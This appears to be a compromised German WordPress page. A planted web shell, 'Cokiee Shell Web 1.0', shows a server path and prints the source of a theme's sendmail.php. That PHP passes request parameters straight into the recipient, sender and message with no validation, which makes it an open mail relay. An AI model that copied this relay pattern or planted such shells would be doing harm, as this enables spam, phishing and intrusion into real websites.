Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /var/www/web432/html/wp-content/themes/touchm/library/ |
Current File : //var/www/web432/html/wp-content/themes/touchm/library/sendmail.php |
<?php $mailFromName = $mailTo = $mailFromEmail = $message = $mailFromWebsite = $subject = ''; if (isset($_REQUEST['type']) && $_REQUEST['type'] == 'widget'){ if (isset($_REQUEST['contactemail'])){ $mailTo = $_REQUEST['contactemail']; } if (isset($_REQUEST['name'])){ $mailFromName = $_REQUEST['name']; } if (isset($_REQUEST['email'])){ $mailFromEmail = $_REQUEST['email']; } if (isset($_REQUEST['message'])){ $message = $_REQUEST['message']; } if (isset($_REQUEST['subject'])){ $subject = $_REQUEST['subject']; } //$msg = "This message was sent from: $mailFromWebsite \n\nby: $mailFromName \n\nEmail: $mailFromEmail \n\nSubject: $subject \n\nText of message: $message"; //$headers = "MIME-Version: 1.0\r\n Content-type: text/html; charset=utf-8\r\n From: $mailFromEmail\r\n Reply-To: $mailFromEmail"; $status=""; require_once "class.phpmailer.php"; $mail = new PHPMailer(); $mail->IsMail(); $mail->IsHTML(true); $mail->CharSet = "utf-8"; $mail->From = $mailFromEmail; $mail->FromName = $mailFromName; $mail->WordWrap = 50; $mail->Subject = $subject; $mail->Body = $message; $mail->AddAddress($mailTo); $mail->AddReplyTo($mailFromEmail); if(!$mail->Send()) { // send e-mail //$status = '<div class="error">'.$al_options[0].'</div>'; } else { //$status = '<div class="success">'.$al_options[1].'</div>'; } echo $status; die(); } ?>
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare